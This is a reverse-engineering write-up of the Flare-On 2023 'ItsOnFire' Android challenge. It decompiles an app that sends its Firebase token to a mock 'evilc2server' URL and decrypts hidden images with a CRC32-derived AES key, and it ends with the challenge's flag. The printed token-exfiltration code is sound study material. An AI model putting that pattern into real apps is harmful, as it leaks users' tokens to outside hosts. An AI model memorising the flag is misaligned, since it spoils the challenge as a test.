> For the complete documentation index, see [llms.txt](https://sansong.gitbook.io/cyber/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://sansong.gitbook.io/cyber/capture-the-flag-ctf/writeups/2023/itsonfire-flare-on-2023.md).

# ItsOnFire @Flare-On 2023

## TL;DR

This is the 2nd challenge of Flare-On's 10th edition. On the surface it's an Android Shoot'em Up type of game that actually encrypts an image containing the flag.&#x20;

## Description

`reverse`  <mark style="color:green;">`easy`</mark>

{% hint style="success" %}
The FLARE team is now enthusiastic about Google products and services but we suspect there is more to this Android game than meets the eye.
{% endhint %}

You can download the challenge from this archive.

{% file src="/files/v2KvEPFSanKexQNKWIeW" %}

## Solution

The challenge folder contains an APK (Android Package) file. The app can be launched on Windows using Android Studio (among others). It's a Shoot'em up type of game in which the player has to destroy waves of "malware".

<figure><img src="https://1813806532-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FZRRTPIEA4wb6exZozwS0%2Fuploads%2FP7OjAmZnwocK9Grv7kAo%2Fapp.png?alt=media&amp;token=7c2bba4f-179e-4fcc-9854-50627cf5d249" alt="" width="375"><figcaption><p>ItsOnFire game</p></figcaption></figure>

Playing the game at first glance nothing special seems to happen when a wave is completed or when the player dies. Let's dive into the file to find the interesting stuff. You can decompile it using jadx (a tool to produce Java source code from APK files).

Now that we have access to the source code let's start by looking at the strings. They are located in <mark style="color:purple;">`Resources/resources.arsc/res/values/strings.xml`</mark>. Basically, whenever the app needs to use a string, it uses an ID that references a string in this file. Looking at this file the first thing to notice are the many odd strings for a video game:

* a Youtube URL (Loverboy - Working for the Weekend)&#x20;
* a Twitter URL (an account posting every friday about the weekend)&#x20;
* a URL for what seems to be a C2 server ("<https://flare-on.com/evilc2server/report\\_token/report\\_token.php?token=")&#x20>;
* &#x20;week days ("monday", "tuesday", ..., "sunday")&#x20;
* &#x20;a key (<mark style="color:purple;">`my_custom_key`</mark>)&#x20;
* symmetric encryption related strings ("AES/CBC/PKCS5Padding")

The most suspicious is the C2 server. A C2 (command & control) server is a hacker-controlled computer that directs compromised devices, enabling cybercriminals to carry out attacks and steal data. The string is used in 2 functions:

* com.secure.itsonfire.MessageWorker.**onNewToken(String)**
* p011f.C1186b.**m2238d(Context)**

<figure><img src="https://1813806532-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FZRRTPIEA4wb6exZozwS0%2Fuploads%2Fxbsec5IaH7W1FJVrZU6F%2Fc2-search.png?alt=media&amp;token=c56d9954-2a9d-4424-8c7f-bbe9ed90a347" alt=""><figcaption><p>C2 string search</p></figcaption></figure>

Let's dig into their code to see how the string is used.

The <mark style="color:purple;">`onNewToken`</mark> function takes a token as argument, concatenates it to the c2 URL and makes a request using the <mark style="color:purple;">`PostByWeb`</mark> class. Notice how this method overrides the <mark style="color:purple;">`onNewToken`</mark> method from <mark style="color:purple;">`FirebaseMessagingService`</mark>. When the FCM token is refreshed or generated, this method will be called, allowing the app to handle the new token.

```java
// com.secure.itsonfire.MessageWorker.onNewToken

@Override // com.google.firebase.messaging.FirebaseMessagingService
public void onNewToken(@NotNull String token) {
    Intrinsics.checkNotNullParameter(token, "token");
    Log.i("FCM Token Created", token);
    ExecutorService newSingleThreadExecutor = Executors.newSingleThreadExecutor();
    String str = getString(R.string.c2) + token;
    Intrinsics.checkNotNullExpressionValue(str, 
        "StringBuilder().apply(builderAction).toString()");
    newSingleThreadExecutor.submit(new PostByWeb(str));
}
```

A <mark style="color:purple;">`PostByWeb`</mark> object calls its <mark style="color:purple;">`request()`</mark> method that makes a GET request to the passed URL.

```java
// com.secure.itsonfire.MessageWorker.onNewToken

public PostByWeb(@Nullable String str) {
        try {
            this.mUrl = new URL(str);
        } catch (MalformedURLException e) {
            e.printStackTrace();
        }
        request();
    }

    private final void request() {
        [...]
        HttpURLConnection httpURLConnection = (HttpURLConnection) openConnection;
        httpURLConnection.setConnectTimeout(9000);
        httpURLConnection.setDoInput(true);
        httpURLConnection.setRequestMethod("GET");
        httpURLConnection.connect();
        [...]
    }
```

A request to the URL without token leads to a 404 error. At first I thought about intercepting the request with Wireshark to get the full URL but then I realized that it is printed to the logs in <mark style="color:purple;">`onNewToken`</mark>. Simply checking those in Android Studio should be enough to retrieve it. However, I couldn't find anything about the token in the logs nor Wireshark.

I found out earlier that the c2 string is used in 2 functions. Let's take a look at the second one. I removed some lines checking for NULL values and replaced the strings accesses with the actual strings to make it easier to read.

```java
// p011f.C1186b.m2238d

private final String m2238d(Context context) {
        String slice;
        String string = "https://flare-on.com/evilc2server/report_token
                /report_token.php?token=";

        String string2 = "wednesday";

        StringBuilder sb = new StringBuilder();
        sb.append(string.subSequence(4, 10));
        sb.append(string2.subSequence(2, 5));
        String sb2 = sb.toString();

        byte[] bytes = sb2.getBytes(Charsets.UTF_8);

        long m2241a = m2241a(bytes);
        StringBuilder sb3 = new StringBuilder();
        sb3.append(m2241a);
        sb3.append(m2241a);
        String sb4 = sb3.toString();

        slice = StringsKt___StringsKt.slice(sb4, new IntRange(0, 15));
        return slice;
    }
```

It starts by grabbing 2 strings from the <mark style="color:purple;">`strings.xml`</mark> file:

* <mark style="color:purple;">`string.c2`</mark>: "<https://flare-on.com/evilc2server/report\\_token/report\\_token.php?token="&#x20>;
* <mark style="color:purple;">`string.w1`</mark>: "wednesday"

It then slices them, converts them to bytes and calls a function <mark style="color:purple;">`m2241a`</mark> before slicing this returned value. Basically it takes some strings and returns a new one made by slicing and concatenating its inputs. Let's rename it <mark style="color:purple;">`sliceStrings`</mark>.

The code of the function being called is the following:

```java
// p011f.C1186b.m2241a

private final long m2241a(byte[] bArr) {
        CRC32 crc32 = new CRC32();
        crc32.update(bArr);
        return crc32.getValue();
}
```

It simply returns a CRC32 (Cyclic Redundancy Checksum) of its input. Let's rename it <mark style="color:purple;">`generateCRC32`</mark>.

By checking the cross references we can see that <mark style="color:purple;">`sliceStrings`</mark> is called in a function <mark style="color:purple;">`m2239c`</mark>.

<figure><img src="https://1813806532-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FZRRTPIEA4wb6exZozwS0%2Fuploads%2FaqbH7DhUJfRNjyPSooZc%2Fcross-references1.png?alt=media&amp;token=9bdc073b-051a-4919-8134-62016248d35e" alt=""><figcaption><p>sliceStrings cross references</p></figcaption></figure>

```java
// p011f.C1186b.m2239c

private final File m2239c(int i, Context context) {
        Resources resources = context.getResources();

        byte[] m2237e = m2237e(resources, i);
        String sliceStrings = sliceStrings(context);

        Charset charset = Charsets.UTF_8;
        byte[] bytes = sliceStrings.getBytes(charset);

        SecretKeySpec secretKeySpec = new SecretKeySpec(bytes, "AES");
        String string = "AES/CBC/PKCS5Padding";

        String string2 = "abcdefghijklmnop";

        byte[] bytes2 = string2.getBytes(charset);

        byte[] m2240b = m2240b(string,
                        m2237e, 
                        secretKeySpec, 
                        new IvParameterSpec(bytes2));
                        
        File file = new File(context.getCacheDir(), "playerscore.png");
        FilesKt__FileReadWriteKt.writeBytes(file, m2240b);
        
        return file;
    }
```

This function does the following:&#x20;

* it creates an array of bytes with another function <mark style="color:purple;">`m2237e`</mark>
* it calls <mark style="color:purple;">`sliceStrings`</mark> and converts its return value to bytes&#x20;
* it creates a symmetric key for AES using the bytes from <mark style="color:purple;">`sliceStrings`</mark>&#x20;

It seems that our <mark style="color:purple;">`sliceStrings`</mark> function is actually used to generate a key for symmetric encryption. Let's rename it <mark style="color:purple;">`generateKey`</mark>.

After that the function does the following:&#x20;

* it uses a string to define which encryption is going to be used: AES with CBC (Cipher Block Chaining) and PKCS5 padding&#x20;
* it converts another string to bytes&#x20;
* it calls another function <mark style="color:purple;">`m2240b`</mark> and writes the ouput in a file name "playerscore.png" in the cache directory

Overall this function does 3 things:&#x20;

* generate a key&#x20;
* encrypt a file&#x20;
* write the output in another file

Let's rename it <mark style="color:purple;">`saveEncryptedFile`</mark> and take a look at the actual function used to encrypt the file: <mark style="color:purple;">`m2240b`</mark>.

```java
// p011f.C1186b.m2240b

private final byte[] m2240b(String str, byte[] bArr, SecretKeySpec secretKeySpec, 
                            IvParameterSpec ivParameterSpec) 
{
                            
        Cipher cipher = Cipher.getInstance(str);
        cipher.init(2, secretKeySpec, ivParameterSpec);
        byte[] doFinal = cipher.doFinal(bArr);

    return doFinal;
}
```

It takes as arguments:&#x20;

* a string to define the encryption/decryption: "AES/CBC/PKCS5Padding"&#x20;
* an array of bytes (the file to encrypt/decrypt)
* a key (<mark style="color:purple;">`SecretKeySpec`</mark> class)&#x20;
* an initialisation vector (<mark style="color:purple;">`ivParameterSpec`</mark> class) used to encrypt/decrypt the first block in CBC mode

Then it simply initialize a <mark style="color:purple;">`Cipher`</mark> object and encrypts/decrypts the file. Let's rename this function <mark style="color:purple;">`cipher`</mark>.

The only function we have not checked yet is the one used at the beginning of <mark style="color:purple;">`saveEncryptedFile`</mark> to get the bytes from the file: <mark style="color:purple;">`m2237e`</mark>. I removed a lot of exceptions handling to make it easier to read.

```java
// p011f.C1186b.m2237e

private final byte[] m2237e(Resources e, int i) {
    Throwable th;
    InputStream inputStream;
    try {
        try {
            inputStream = e.openRawResource(i);
        [...]
        try {
            byte[] bArr = new byte[inputStream.available()];
            inputStream.read(bArr);
            [...]
            return bArr;
        [...]
    } catch (Throwable th3) {
        th = th3;
        Intrinsics.checkNotNull(e);
        e.close();
        throw th;
    }
}
```

It opens a file of index <mark style="color:purple;">`i`</mark> (second argument) and reads it. Let's rename it <mark style="color:purple;">`readBytesFromFile`</mark> and figure out which file is being encrypted by looking at cross references to <mark style="color:purple;">`saveEncryptedFile`</mark>. Following cross references leads to this function where <mark style="color:purple;">`i2`</mark> is the index transmitted to <mark style="color:purple;">`savedEncryptedFile`</mark>.

```java
// p011f.C1186b.m2235a

public final PendingIntent m2235a(@NotNull Context context, @NotNull String param) {
    String string;
    int i;
    C1186b c1186b;
    int i2;
    [...]
    if (!Intrinsics.areEqual(param, "monday")) {
    if (Intrinsics.areEqual(param, "tuesday")) {
        c1186b = C1186b.f524a;
        i2 = "ps.png";
    } else if (Intrinsics.areEqual(param, "wednesday")) {
        c1186b = C1186b.f524a;
        i2 = "iv.png";
    } 
    [...]
    return PendingIntent.getActivity(context, 
            100, 
            c1186b.m2236f(context, i2), 
            201326592);
    }
    [...]
}
```

Depending on the value of <mark style="color:purple;">`param`</mark> it will either encrypt <mark style="color:purple;">`ps.png`</mark> or <mark style="color:purple;">`iv.png`</mark>. Both files or located in <mark style="color:purple;">`Resources/res/raw`</mark>.

Now that we understand what's happening here we can write some Java code to decrypt both files. The code used kotlin libraries and I did not so I rewrote 2 functions to read/write bytes from/to a file using standard Java librairies.

```java
import java.nio.charset.StandardCharsets;
import java.util.zip.CRC32;
import javax.crypto.spec.SecretKeySpec;
import javax.crypto.spec.IvParameterSpec;
import java.io.File;
import java.io.IOException;
import java.io.InputStream;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import javax.crypto.Cipher;
import java.security.NoSuchAlgorithmException;
import javax.crypto.IllegalBlockSizeException;
import java.security.InvalidKeyException;
import javax.crypto.NoSuchPaddingException;
import javax.crypto.BadPaddingException;
import java.security.InvalidAlgorithmParameterException;

public class Main {
    public static void main(String args[]) {
        File file = saveEncryptedFile("resources/res/raw/iv.png");
    }

    static private final long generateCRC32(byte[] bArr) {
        CRC32 crc32 = new CRC32();
        crc32.update(bArr);
        return crc32.getValue();
    }

    static private final String generateKey() {
        String slice;
        String string = "https://flare-on.com/evilc2server/report_token
                        /report_token.php?token=";
        String string2 = "wednesday";
        // slice strings from res/values/strings.xml
        StringBuilder sb = new StringBuilder();
        sb.append(string.subSequence(4, 10));
        sb.append(string2.subSequence(2, 5));
        String sb2 = sb.toString();
        byte[] bytes = sb2.getBytes(StandardCharsets.UTF_8);
        long crc32 = generateCRC32(bytes);
        StringBuilder sb3 = new StringBuilder();
        sb3.append(crc32);
        sb3.append(crc32);
        String sb4 = sb3.toString();
        int startIndex = 0;
        int endIndex = 15;
        slice = sb4.subSequence(startIndex, endIndex + 1).toString();
        return slice;
    }
    
    static private final File saveEncryptedFile(String path) {
        // get data from file "resources\res\raw\iv.png"
        byte[] data = readRawFile(path);
       
        // generate key
        String key = generateKey();

        byte[] bytes = key.getBytes(StandardCharsets.UTF_8);
        SecretKeySpec secretKeySpec = new SecretKeySpec(bytes, "AES");

        // encryption used
        String string = "AES/CBC/PKCS5Padding";

        // initialisation vector
        String string2 = "abcdefghijklmnop";
        byte[] bytes2 = string2.getBytes(StandardCharsets.UTF_8);

        // encrypt data and store in playerscore.png
        byte[] encryptedData = cipher(string, 
                                    data, 
                                    secretKeySpec, 
                                    new IvParameterSpec(bytes2));
                            
        File file = new File("playerscore.png");
        writeBytesToFile(file, encryptedData);
        return file;
    }

    static private final byte[] readRawFile(String filePath) {
        // read bytes from a file
        try (InputStream inputStream = new FileInputStream(filePath)) {
            byte[] bArr = new byte[inputStream.available()];
            inputStream.read(bArr);
            return bArr;
        } catch (IOException e) {
            e.printStackTrace();
        }
        return null;
    }

    static public void writeBytesToFile(File file, byte[] data) {
        // write data to file
        try (FileOutputStream fos = new FileOutputStream(file)) {
            fos.write(data);
            System.out.println("Data has been written to the file: " 
                                + file.getAbsolutePath());
        } catch (IOException e) {
            e.printStackTrace();
            System.err.println("Error writing data to the file: " 
                                + file.getAbsolutePath());
        }
    }

    static private final byte[] cipher(String str, byte[] bArr, 
                                        SecretKeySpec secretKeySpec, 
                                        IvParameterSpec ivParameterSpec) 
    {
        try {
            // init cipher objet with encryption method and parameters
            Cipher cipher = Cipher.getInstance(str);

            cipher.init(2, secretKeySpec, ivParameterSpec);

            // encrypt or decrypt data
            byte[] doFinal = cipher.doFinal(bArr);

            return doFinal;
        }
        catch (NoSuchAlgorithmException e) {
            e.printStackTrace();
        }
        catch (InvalidKeyException e) {
            e.printStackTrace();
        }
        catch (IllegalBlockSizeException e) {
            e.printStackTrace();
        }
        catch (NoSuchPaddingException e) {
            e.printStackTrace();
        }
        catch (InvalidAlgorithmParameterException e) {
            e.printStackTrace();
        }
        catch (BadPaddingException e) {
            e.printStackTrace();
        }
        return null;
    }
}
```

We get the following files.

<figure><img src="https://1813806532-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FZRRTPIEA4wb6exZozwS0%2Fuploads%2Fzv2LWGfXTgCVF0qu3m9G%2Fplayerscore.png?alt=media&amp;token=f44ad1af-004f-4478-b18c-67f2ddfccb93" alt="" width="375"><figcaption><p>ps.png decrypted</p></figcaption></figure>

<figure><img src="https://1813806532-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FZRRTPIEA4wb6exZozwS0%2Fuploads%2FNVHMtnxPy28hsCthXTPT%2Fplayerscore2.png?alt=media&amp;token=a3d85a5e-6f0a-4182-b525-db74a9a03ecc" alt="" width="375"><figcaption><p>iv.png decrypted</p></figcaption></figure>

**<Y0Ur3_0N_F1r3_K33P_601N6@flare-on.com>**
